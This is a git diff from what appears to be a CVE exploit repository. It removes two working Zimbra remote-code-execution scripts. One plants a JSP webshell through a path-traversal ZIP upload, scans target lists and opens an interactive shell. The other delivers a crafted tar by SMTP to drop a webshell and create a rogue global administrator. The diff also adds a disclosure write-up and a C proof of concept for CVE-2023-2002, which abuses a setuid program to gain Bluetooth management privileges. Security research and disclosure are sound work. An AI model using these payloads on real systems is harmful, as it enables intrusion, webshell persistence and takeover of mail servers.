diff --git a/cve/Zimbra/2022/CVE-2022-27925/exploit.py b/cve/Zimbra/2022/CVE-2022-27925/exploit.py deleted file mode 100644 index 3a952699e36ac6d90b3c6be43dcc24a966d683fa..0000000000000000000000000000000000000000 --- a/cve/Zimbra/2022/CVE-2022-27925/exploit.py +++ /dev/null @@ -1,144 +0,0 @@ -import argparse -import zipfile -import io -import random -import string -import requests -from urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) - - -webshell_payload = r'<%@ page import="java.util.*,java.io.*"%><%%>
<%if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + ""); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>'
-char_set = string.ascii_uppercase + string.digits
-webshell_name = ''.join(random.sample(char_set*6, 6)) + '.jsp'
-#vuln_paths = ["service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd", "service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1"]
-BLUE = "\033[1;34m"
-CYAN = "\033[1;36m"
-GREEN = "\033[0;32m"
-RED = "\033[31m"
-
-ITERATE = False
-
-
-def banner():
- return CYAN+'''
- _____ _ __
-/__ / (_)___ ___ / /_ _________ _
- / / / / __ `__ \/ __ \/ ___/ __ `/
- / /__/ / / / / / / /_/ / / / /_/ /
-/____/_/_/ /_/ /_/_.___/_/ \__,_/
- CVE-2022-27925
- '''
-
-# FIX URL
-def fix_url(url):
- if not url.startswith('https://'):
- url = 'https://' + url
- url = url.rstrip("/")
- return url
-
-def build_zip(jsp, path):
- zip_buffer = io.BytesIO()
- zf = zipfile.ZipFile(zip_buffer, 'w')
- zf.writestr(path, jsp)
- zf.close()
- return zip_buffer.getvalue()
-
-def exploit(host, payload, cmd):
- headers = {'content-Type': 'application/x-www-form-urlencoded'}
- try:
- r = requests.post(
- host + '', data=payload, headers=headers, verify=False, timeout=20)
- r = requests.post(
- host + '/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1', data=payload, headers=headers, verify=False, timeout=20)
- print(GREEN + '[!] Testing webshell')
- r = requests.get(host + '/zimbraAdmin/' + webshell_name +
- '?cmd=' + cmd, verify=False, timeout=20)
- if "Josexv1" in r.text:
- print(CYAN + '[+] Webshell works!!')
- print(GREEN + '[+] WebShell location: ' +
- host + '/zimbraAdmin/' + webshell_name + "")
- r = requests.get(host + '/zimbraAdmin/' + webshell_name +
- '?cmd=uname+-a' , verify=False, timeout=20)
- print(BLUE + '[+] Uname -a output: '+ CYAN + r.text.split('')
- [1].split('')[0].strip())
- return True
- else:
- print(RED + '[-] Target not vulnerable')
- return False
- except:
- print(RED + '[!] Connection error')
-
-def ping_url(url):
- try:
- r = requests.get(url, verify=False, timeout=10)
- if r.status_code == 200:
- print(CYAN + '[!] Target is up!')
- return True
- else:
- print(RED + '[!] Target is down! Next >> \n')
- return False
- except:
- return False
-
-def main(url):
- paths = [
- '../../../../mailboxd/webapps/zimbraAdmin/',
- '../../../../jetty_base/webapps/zimbraAdmin/',
- '../../../../jetty/webapps/zimbraAdmin/']
- work = 0
- try:
- for num in range(0, 3):
- print(
- GREEN + '[!] Creating malicious ZIP path: ' + BLUE + paths[num])
- zippedfile = build_zip(webshell_payload, paths[num]+webshell_name)
- print(GREEN + '[!] Exploiting!')
- if exploit(url, zippedfile, 'echo "Josexv1"'):
- if args.target:
- answer = input(
- CYAN + '[+] Want to interact with webshell via terminal? (y/n): ')
- if answer == "y":
- print(GREEN + '[!] Sending commands to: ' +
- url + '/zimbraAdmin/' + webshell_name)
- while True:
- cmd = input(GREEN + "[+] $ > " + BLUE)
- if cmd == "exit":
- break
- req = requests.get(
- url + "/zimbraAdmin/" + webshell_name + "?cmd=" + cmd, verify=False, timeout=20)
- try:
- print(CYAN + req.text.split('')
- [1].split('')[0].strip())
- except:
- print(RED + "[!] Error ?")
- else:
- print(RED + '[!] Bye!')
- exit()
- except:
- print(RED + '[!] URL Error')
- ITERATE = True
-
-if __name__ == "__main__":
- print(banner())
- parser = argparse.ArgumentParser()
- parser.add_argument(
- '-t', '--target', help='URl with protocol HTTPS', default=False)
- parser.add_argument("-l", "--list", action="store",
- help="List of targets", default=False)
- args = parser.parse_args()
- if args.target is not False:
- url = fix_url(args.target)
- print(GREEN + '[!] Testing URL: '+ url)
- if ping_url(url):
- main(url)
- elif args.list is not False:
- with open(args.list, "rb") as targets:
- for target in targets:
- target = target.rstrip().decode("utf-8")
- url = fix_url(target)
- print(GREEN + '[!] Testing URL: '+ url)
- if ping_url(url):
- main(url)
- else:
- parser.print_help()
- parser.exit()
diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py
deleted file mode 100644
index d440f7e6ad590541df5cfcb09723f758a5e5975f..0000000000000000000000000000000000000000
--- a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py
+++ /dev/null
@@ -1,236 +0,0 @@
-#!/usr/bin/env python3
-
-import sys
-import smtplib
-import argparse
-from time import sleep
-from email.mime.multipart import MIMEMultipart
-from email.mime.application import MIMEApplication
-from email.mime.text import MIMEText
-import requests
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-
-# CONFIGURATION
-#----------------------------------
-TARGET = 'mail.test.org'
-WEBSHELL_PATH = '/public/jsp'
-WEBSHELL_NAME = 'Startup1_3.jsp'
-ATTACHMENT = 'payload.tar'
-SENDER = 'test@test.org'
-RECIPIENT = 'admin@test.org'
-
-EMAIL_SUBJECT = 'CVE-2022-41352'
-EMAIL_BODY = 'Just testing.
Don\'t mind me.
'
-#----------------------------------
-
-# Only change this if zimbra was not installed in the default location
-UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra'
-
-
-def create_tar_payload(payload, payload_name, payload_path, lnk='startup'):
- # Block 1
- link = lnk.encode()
- mode = b'0000777\x00' # link permissions
- ouid = b'0001745\x00' # octal uid (997)
- ogid = b'0001745\x00' # octal gid
- lnsz = b'00000000000\x00' # file size (link = 0)
- lmod = b'14227770134\x00' # last modified (octal unix)
- csum = b' ' # checksum = 8 blanks
- type = b'2' # type (link = 2)
- targ = payload_path.encode() # link target
- magi = b'ustar \x00' # ustar magic bytes + version
- ownu = b'zimbra' # user owner
- owng = b'zimbra' # group owner
- vers = b'\x00'*8 + b'\x00'* 8 # device major and minor
- pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100)
-
- raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod
- raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
- # calculate and insert checksum
- csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:]
- raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2
- # pad block to 512
- raw_b1 += b'\00'*(512-len(raw_b1))
-
- # Block 2
- mode = b'0000644\x00' # file permissions
- file = f'{lnk}/{payload_name}'.encode()
- flsz = oct(len(payload))[2:] # file size
- csum = b' ' # checksum = 8 blanks
- type = b'0' # type (file = 0)
- targ = b'\x00'*100 # link target = none
-
- raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod
- raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref
- # calculate and insert checksum
- csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:]
- raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2
- # pad block to 512
- raw_b2 += b'\00'*(512-len(raw_b2))
-
-
- # Assemble
- raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512))
- raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks
-
- return raw_tar
-
-# Update this if you want to use a legit email account for sending the payload
-def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name):
- msg = MIMEMultipart()
- msg['Subject'] = subject
- msg['From'] = sender
- msg['To'] = recipient
-
- message = MIMEText(body, 'html')
- msg.attach(message)
-
- att = MIMEApplication(attachment)
- att.add_header('Content-Disposition', 'attachment', filename=attachment_name)
- msg.attach(att)
-
- try:
- print(f'>>> Sending payload')
- smtp_server = smtplib.SMTP(target,25)
- smtp_server.sendmail(sender, recipient, msg.as_string())
- print(f'>>> Payload delivered')
- except Exception as e:
- print(f'[!] Failed to send the mail: {e}')
- sys.exit(1)
-
-def verify_upload(target, shell, path):
- print(f'>>> Verifying upload to {path}/{shell} ...')
- sleep(5) # give the server time to process the email
- resp = requests.get(f'https://{target}{path}/{shell}', verify=False)
- if resp.status_code == 200:
- print(f'>>> [PWNED] Upload successful!')
- else:
- print(f'>>> Upload unsuccesful :(')
- sys.exit(1)
-
-def create_new_zimbra_admin(target, shell, path):
- url = f'https://{target}'
- pw = 'Pwn1ng_Z1mbra_!s_fun'
- print(f'>>> Adding a new global administrator')
- if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'):
- sys.exit(0)
- admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ')
- r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False)
- r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False)
-
- print(f'>>> Login to {url}:7071/zimbraAdmin/ with:')
- print(f'>>> Email : {admin}')
- print(f'>>> Password : {pw}')
-
-
-def main(args):
- global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY
-
- # Kali JSP WebShell
- payload = b'<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %><%=output %>
'
-
- # Using this instead of argparse default values to allow easy manual configuration as well
- if args.payload:
- try:
- with open(args.payload, 'rb') as f:
- payload = f.read()
- except Exception as e:
- print(f'Failed to read {args.payload}: {e}')
- sys.exit(1)
- print(f'>>> Using custom payload from: {args.payload}')
- else:
- print(f'>>> Using default payload: JSP Webshell')
- if args.path:
- WEBSHELL_PATH = args.path
- if args.file:
- WEBSHELL_NAME = args.file
- if args.attach:
- ATTACHMENT = args.attach
-
- tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH)
-
- print(f'>>> Assembled payload attachment: {ATTACHMENT}')
- print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}')
- if args.mode == 'manual':
- with open(ATTACHMENT, 'wb') as f:
- f.write(tar)
- print(f'>>> Attachment saved locally.')
- sys.exit(0)
-
- if args.target:
- TARGET = args.target
-
- print(f'>>> Targeting {TARGET}')
-
- if args.sender:
- SENDER = args.sender
- if args.recip:
- RECIPIENT = args.recip
- if args.subject:
- EMAIL_SUBJECT = args.subject
- if args.body:
- try:
- with open(args.body, 'rb') as f:
- EMAIL_BODY = f.read().decode()
- except Exception as e:
- print(f'Failed to read {args.body}: {e}')
- sys.exit(1)
- print(f'>>> Using custom email body from: {args.body}')
-
-
- smtp_send_file( TARGET,
- SENDER,
- RECIPIENT,
- EMAIL_SUBJECT,
- EMAIL_BODY,
- tar,
- ATTACHMENT )
-
- requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
- verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
-
- print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}')
- if args.mode == 'auto':
- sys.exit(0)
-
- if args.payload:
- print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account')
- else:
- create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH)
-
- sys.exit(0)
-
-if __name__ == '__main__':
- epi = '''
-Alternatively, edit the script to change the default configuration.
-
-The available modes are:
-
- manual : Only create the payload - you have to deploy the payload yourself.
- auto : Create a webshell and deploy it via SMTP.
- fullpwn : After deploying a webshell, add a new global mail administrator.
-'''
-
- p = argparse.ArgumentParser(
- description = 'CVE-2022-41352 Zimbra RCE',
- formatter_class = argparse.RawDescriptionHelpFormatter,
- epilog = epi
- )
- p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below')
-
- p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")')
- p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)')
- p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")')
- p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")')
- p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")')
- p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")')
- p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)')
- p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")')
- p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")')
-
- args = p.parse_args()
-
- main(args)
diff --git a/cve/linux-kernel/2023/CVE-2023-2002/.gitignore b/cve/linux-kernel/2023/CVE-2023-2002/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..e956606120dbe74d7d37eea508e7838a7ed5cb8b
--- /dev/null
+++ b/cve/linux-kernel/2023/CVE-2023-2002/.gitignore
@@ -0,0 +1 @@
+bt_power
diff --git a/cve/linux-kernel/2023/CVE-2023-2002/Makefile b/cve/linux-kernel/2023/CVE-2023-2002/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..196a4a96d6e26050c08313a476650eb47ead7a56
--- /dev/null
+++ b/cve/linux-kernel/2023/CVE-2023-2002/Makefile
@@ -0,0 +1,13 @@
+TARGET := bt_power
+
+.PHONY:
+all: $(TARGET)
+
+$(TARGET): $(TARGET).c bluetooth.h
+ @echo CC $@
+ @gcc -Wall -Wextra -Werror -O2 -o $@ $<
+
+.PHONY:
+clean:
+ @echo RM $(TARGET)
+ @rm -f $(TARGET)
diff --git a/cve/linux-kernel/2023/CVE-2023-2002/README.md b/cve/linux-kernel/2023/CVE-2023-2002/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..61b81ab4c96e4d99df265037f5cf230dab41b1c3
--- /dev/null
+++ b/cve/linux-kernel/2023/CVE-2023-2002/README.md
@@ -0,0 +1,224 @@
+# Linux Bluetooth: Unauthorized management command execution (CVE-2023-2002)
+
+An insufficient permission check has been found in the Bluetooth subsystem of
+the Linux kernel when handling ioctl system calls of HCI sockets. This causes
+tasks without the proper CAP_NET_ADMIN capability can easily mark HCI sockets
+as _trusted_. Trusted sockets are intended to enable the sending and receiving
+of management commands and events, such as pairing or connecting with a new
+device. As a result, unprivileged users can acquire a trusted socket, leading
+to unauthorized execution of management commands. The exploit requires only
+the presence of a set of commonly used setuid programs (e.g., su, sudo).
+
+## Cause
+
+The direct cause of the vulnerability is the following code snippet:
+```c
+static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
+ unsigned long arg)
+{
+ ...
+ if (hci_sock_gen_cookie(sk)) {
+ ...
+ if (capable(CAP_NET_ADMIN))
+ hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
+ ...
+ }
+ ...
+}
+```
+
+The implementation of an ioctl system call verifies whether the task invoking
+the call has the necessary CAP_NET_ADMIN capability to update the
+HCI_SOCK_TRUSTED flag. However, this check only considers the calling task,
+which may not necessarily be the socket opener. For instance, the socket can
+be shared with another task using fork and execve, where the latter task may
+be privileged, such as a setuid program. Moreover, if the socket is used as
+stdout or stderr, an ioctl call is made to obtain tty parameters, which can be
+verified through the strace command.
+```
+# strace -e trace=ioctl sudo > /dev/null
+ioctl(3, TIOCGPGRP, [30305]) = 0
+ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
+```
+
+The ioctl calls for tty parameters will never succeed on HCI sockets, but they
+are sufficient to mark HCI sockets as trusted. Therefore, an unprivileged
+program can hold trusted HCI sockets, enabling it to send and receive
+management commands and events, since the trusted flag will never be cleared.
+
+## Exploit
+
+The exploitation can be as easy as below:
+```c
+ int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
+
+ /* By executing sudo with an HCI socket as stderr, an ioctl
+ * system call makes the HCI socket privileged (i.e. with
+ * the HCI_SOCK_TRUSTED flag set).
+ */
+ int pid = fork();
+ if (pid == 0) {
+ dup2(fd, 2);
+ close(fd);
+ execlp("sudo", "sudo", NULL);
+ }
+
+ waitpid(pid, NULL, 0);
+
+ struct sockaddr_hci haddr;
+ haddr.hci_family = AF_BLUETOOTH;
+ haddr.hci_dev = HCI_DEV_NONE;
+ haddr.hci_channel = HCI_CHANNEL_CONTROL;
+
+ /* The socket has not been bound. It can be bound to the
+ * management channel now. After that, the HCI_SOCK_TRUSTED
+ * flag is still present, as it will indeed never be cleared.
+ */
+ bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
+```
+
+Furthermore, btmon can be used to confirm that the socket becomes trusted and
+successive management commands will succeed:
+```
+# btmon
+@ RAW Open: sudo (privileged) version 2.22
+@ RAW Close: sudo
+@ MGMT Open: sudo (privileged) version 1.22
+@ MGMT Command: Set Powered (0x0005) plen 1
+ Powered: Disabled (0x00)
+@ MGMT Event: Command Complete (0x0001) plen 7
+ Set Powered (0x0005) plen 4
+ Status: Success (0x00)
+```
+
+A full PoC exploit to change the power state of Bluetooth devices can be found
+[on GitHub][exp].
+
+[exp]: https://github.com/lrh2000/CVE-2023-2002/tree/master/exp
+
+## Impact
+
+If successfully exploited, the identified vulnerability has the potential to
+compromise the confidentiality, integrity, and availability of Bluetooth
+communication. Attackers can exploit this vulnerability to pair the controller
+with malicious devices, even if the Bluetooth service is disabled or not
+installed. It is also possible to prevent specific devices from being paired,
+or read some sensitive information such as the OOB data.
+
+## Affection
+
+The exploitable vulnerability has been present in the Linux kernel since v4.9.
+More specifically, it becomes exploitable after the [commit f81f5b2db869][cm]
+("Bluetooth: Send control open and close messages for HCI raw sockets"). Prior
+to this commit, exploiting the vulnerability required tricking a privileged
+program into binding an HCI socket, which is very hard (if not impossible) to
+trigger in practice. However, after the commit, it requires only tricking a
+privileged program to invoke an ioctl system call, which relies only on the
+existence of an setuid program, as illustrated above.
+
+[cm]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f81f5b2db869
+
+The exploitation works as long as there are setuid programs (or more
+precisely, programs with the CAP_NET_ADMIN capability) that invokes ioctl
+calls on stdin, stdout, or stderr. In most Linux distros, a quick (but very
+coarse) test reveals that quite a few setuid programs are using ioctl system
+calls, which are marked with 'V' in the table below:
+```
+# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
+S ./chage
+S ./expiry
+S ./fusermount
+S ./fusermount3
+S ./gpasswd
+S ./ksu
+S ./mount.cifs
+S ./sg
+S ./umount
+V ./chfn
+V ./chsh
+V ./mount
+V ./newgrp
+V ./passwd
+V ./pkexec
+V ./screen-4.9.0
+V ./su
+V ./sudo
+V ./unix_chkpwd
+```
+After manually checking the strace output, it is found that all of these ioctl
+users are using ioctl calls on stdin, stdout, or stderr to get or set some tty
+parameters. Note that exactly no arguments are passed to these setuid
+programs. If some crafted arguments are passed, the number of ioctl users may
+increase. As a result, a number of linux distros can be vulnerable to the
+exploitation.
+
+As a side note, Android devices, however, are unlikely to be affected since
+the exploitation requires the existence of setuid programs, which Android has
+[avoided using][su] for some time. Besides, there are also no applications
+with the CAP_NET_ADMIN capability on Android.
+
+[su]: https://source.android.com/docs/security/enhancements/enhancements43
+
+## Mitigation
+
+[A patch][fi] has been posted to the linux-bluetooth mailing list which fixes
+this vulnerability by replacing capable() with sk_capable(), where
+sk_capable() checks not only the current task but also that the socket opener
+has the required capability. At the same time, [another submitted patch][se]
+hardens the ioctl processing logic by checking command validity at the start
+of hci_sock_ioctl() and returning with an ENOIOCTLCMD error code immediately
+before doing anything if the command is invalid.
+
+[fi]: https://lore.kernel.org/linux-bluetooth/20230416081404.8227-1-lrh2000@pku.edu.cn
+[se]: https://lore.kernel.org/linux-bluetooth/20230416080251.7717-1-lrh2000@pku.edu.cn
+
+As a workaround, if the Bluetooth devices are not being used at all (but it is
+not feasible to physically remove the device), it is possible to simply block
+the devices using rfkill, which will prevent the devices from being powered
+up. By doing so, sending management commands to power up Bluetooth devices
+won't succeed. This can significantly reduce the impact of this vulnerability.
+
+There are two ways to avoid similar vulnerabilities in the future: hardening
+the Linux kernel and hardening userspace setuid programs.
+ - There are many uses of capable() in the Linux kernel that check the
+ capability of the current task, but do nothing about the file or socket
+ opener. In many cases, it may be reasonable to also check the capability of
+ the opener. However, adding more capability checks can lead to unexpected
+ regressions, although no such examples in reality have been seen at the
+ time of writing.
+ - Stdin, stdout, and stderr are different from other file descriptors,
+ because they are inherited from the parent task but are used directly by
+ the current task. For privileged setuid programs, inherited file
+ descriptors may need to be treated as untrusted. Therefore, it also seems
+ reasonable to explicitly drop privileges when invoking system calls on
+ these untrusted file descriptors.
+
+## Relation
+
+This vulnerability shares exactly the same principle as [CVE-2014-0181][c14]. In
+the case of CVE-2014-0181, the issue was the lack of a mechanism to authorize
+Netlink operations based on the opener of the socket, which allows local users
+to modify network configurations by using a Netlink socket for the stdout or
+stderr of a setuid program.
+
+[c14]: https://nvd.nist.gov/vuln/detail/CVE-2014-0181
+
+## Timeline
+
+**2023-04-04:** I discovered this vulnerability during my audit of the
+Bluetooth protocol stack in the Linux kernel.
+
+**2023-04-09:** I have reported this vulnerability to the Linux kernel
+security team and distribution vendors, with an initial version of patches.
+
+**2023-04-12:** This vulnerability has been assigned a CVE ID, which is
+CVE-2023-2002.
+
+**2023-04-13:** After several days of discussion with the maintainers, the
+patches have been updated accordingly.
+
+**2023-04-16:** The vulnerability was disclosed on the public [oss-security
+mailing list][oss] and on GitHub (here). Two patches have been posted to the
+public linux-bluetooth mailing list ([first][fi], [second][se]).
+
+[oss]: https://www.openwall.com/lists/oss-security/2023/04/16/3
diff --git a/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h b/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h
new file mode 100644
index 0000000000000000000000000000000000000000..0205ad7d5c088e5c3995b2d1ada872c65a2e54ba
--- /dev/null
+++ b/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+#pragma once
+#include
+#include
+
+#if BYTE_ORDER == LITTLE_ENDIAN
+#define __le16 short
+#define __u8 char
+#else
+#error Unsupported endianness
+#endif
+
+#define __packed __attribute__ ((packed))
+
+/* proto */
+#define BTPROTO_HCI 1
+
+/* addr */
+struct sockaddr_hci {
+ sa_family_t hci_family;
+ unsigned short hci_dev;
+ unsigned short hci_channel;
+};
+#define HCI_DEV_NONE 0xffff
+
+#define HCI_CHANNEL_CONTROL 3
+
+/* mgmt cmd */
+struct mgmt_hdr {
+ __le16 opcode;
+ __le16 index;
+ __le16 len;
+} __packed;
+
+struct mgmt_mode {
+ __u8 val;
+} __packed;
+
+#define MGMT_OP_SET_POWERED 0x0005
+
+/* mgmt evt */
+#define MGMT_EV_CMD_COMPLETE 0x0001
+#define MGMT_EV_CMD_STATUS 0x0002
+struct mgmt_ev_cmd_status {
+ __le16 opcode;
+ __u8 status;
+} __packed;
+
+#define MGMT_STATUS_SUCCESS 0x00
+#define MGMT_STATUS_UNKNOWN_COMMAND 0x01
+#define MGMT_STATUS_NOT_CONNECTED 0x02
+#define MGMT_STATUS_FAILED 0x03
+#define MGMT_STATUS_CONNECT_FAILED 0x04
+#define MGMT_STATUS_AUTH_FAILED 0x05
+#define MGMT_STATUS_NOT_PAIRED 0x06
+#define MGMT_STATUS_NO_RESOURCES 0x07
+#define MGMT_STATUS_TIMEOUT 0x08
+#define MGMT_STATUS_ALREADY_CONNECTED 0x09
+#define MGMT_STATUS_BUSY 0x0a
+#define MGMT_STATUS_REJECTED 0x0b
+#define MGMT_STATUS_NOT_SUPPORTED 0x0c
+#define MGMT_STATUS_INVALID_PARAMS 0x0d
+#define MGMT_STATUS_DISCONNECTED 0x0e
+#define MGMT_STATUS_NOT_POWERED 0x0f
+#define MGMT_STATUS_CANCELLED 0x10
+#define MGMT_STATUS_INVALID_INDEX 0x11
+#define MGMT_STATUS_RFKILLED 0x12
+#define MGMT_STATUS_ALREADY_PAIRED 0x13
+#define MGMT_STATUS_PERMISSION_DENIED 0x14
+
+static inline const char *stringify_mgmt_status(int status) {
+ switch (status) {
+#define CASE(s) \
+ case MGMT_STATUS_##s: \
+ return "MGMT_STATUS_" #s;
+ CASE(SUCCESS)
+ CASE(UNKNOWN_COMMAND)
+ CASE(NOT_CONNECTED)
+ CASE(FAILED)
+ CASE(CONNECT_FAILED)
+ CASE(AUTH_FAILED)
+ CASE(NOT_PAIRED)
+ CASE(NO_RESOURCES)
+ CASE(TIMEOUT)
+ CASE(ALREADY_CONNECTED)
+ CASE(BUSY)
+ CASE(REJECTED)
+ CASE(NOT_SUPPORTED)
+ CASE(INVALID_PARAMS)
+ CASE(DISCONNECTED)
+ CASE(NOT_POWERED)
+ CASE(CANCELLED)
+ CASE(INVALID_INDEX)
+ CASE(RFKILLED)
+ CASE(ALREADY_PAIRED)
+ CASE(PERMISSION_DENIED)
+#undef CASE
+ default:
+ return "MGMT_STATUS_ERROR_UNKNOWN";
+ }
+}
diff --git a/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c b/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c
new file mode 100644
index 0000000000000000000000000000000000000000..4e6b18157e856f350bb19eb59b5e2dba5c0358d5
--- /dev/null
+++ b/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c
@@ -0,0 +1,161 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * CVE-2023-2002 PoC exploit.
+ * See https://github.com/lrh2000/CVE-2023-2002 for details.
+ */
+#include
+#include
+#include
+#include
+#include
+#include
+#include "bluetooth.h"
+
+static int gain_privileges(void)
+{
+ int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
+
+ int pid = fork();
+ if (pid == 0) {
+ dup2(fd, 2);
+ close(fd);
+
+ execlp("sudo", "sudo", NULL);
+ exit(EXIT_FAILURE);
+ }
+
+ if (waitpid(pid, NULL, 0) < 0) {
+ perror("waitpid");
+ exit(EXIT_FAILURE);
+ }
+
+ return fd;
+}
+
+static void bind_control_channel(int fd)
+{
+ struct sockaddr_hci haddr;
+
+ haddr.hci_family = AF_BLUETOOTH;
+ haddr.hci_dev = HCI_DEV_NONE;
+ haddr.hci_channel = HCI_CHANNEL_CONTROL;
+
+ if (bind(fd, (struct sockaddr *)&haddr, sizeof(haddr)) < 0) {
+ perror("bind");
+ exit(EXIT_FAILURE);
+ }
+}
+
+static void send_set_power(int fd, int index, int status)
+{
+ __u8 buffer[sizeof(struct mgmt_hdr) + sizeof(struct mgmt_mode)];
+ struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer;
+ struct mgmt_mode *cp = (struct mgmt_mode *)(hdr + 1);
+
+ hdr->opcode = MGMT_OP_SET_POWERED;
+ hdr->index = index;
+ hdr->len = sizeof(*cp);
+ cp->val = status;
+
+ if (send(fd, buffer, sizeof(buffer), 0) < 0) {
+ perror("send");
+ exit(EXIT_FAILURE);
+ }
+}
+
+static void check_cmd_result(int fd)
+{
+ __u8 buffer[sizeof(struct mgmt_hdr) + sizeof(struct mgmt_ev_cmd_status)];
+ struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer;
+ struct mgmt_ev_cmd_status *ev = (struct mgmt_ev_cmd_status *)(hdr + 1);
+ ssize_t recved;
+
+ recved = recv(fd, buffer, sizeof(buffer), 0);
+ if (recved < 0) {
+ perror("recv");
+ exit(EXIT_FAILURE);
+ }
+ if (recved == 0) {
+ fputs("recv: EOF\n", stderr);
+ exit(EXIT_FAILURE);
+ }
+ if (recved < (ssize_t)sizeof(buffer)) {
+ fputs("recv: Incomplete\n", stderr);
+ exit(EXIT_FAILURE);
+ }
+
+ if (hdr->opcode != MGMT_EV_CMD_COMPLETE &&
+ hdr->opcode != MGMT_EV_CMD_STATUS) {
+ fprintf(stderr, "unrecognized opcode: %d\n", (int)hdr->opcode);
+ exit(EXIT_FAILURE);
+ }
+ if (hdr->len < (ssize_t)sizeof(*ev)) {
+ fprintf(stderr, "invalid length: %d\n", (int)hdr->len);
+ exit(EXIT_FAILURE);
+ }
+
+ if (ev->status == MGMT_STATUS_SUCCESS) {
+ puts("Success!");
+ } else {
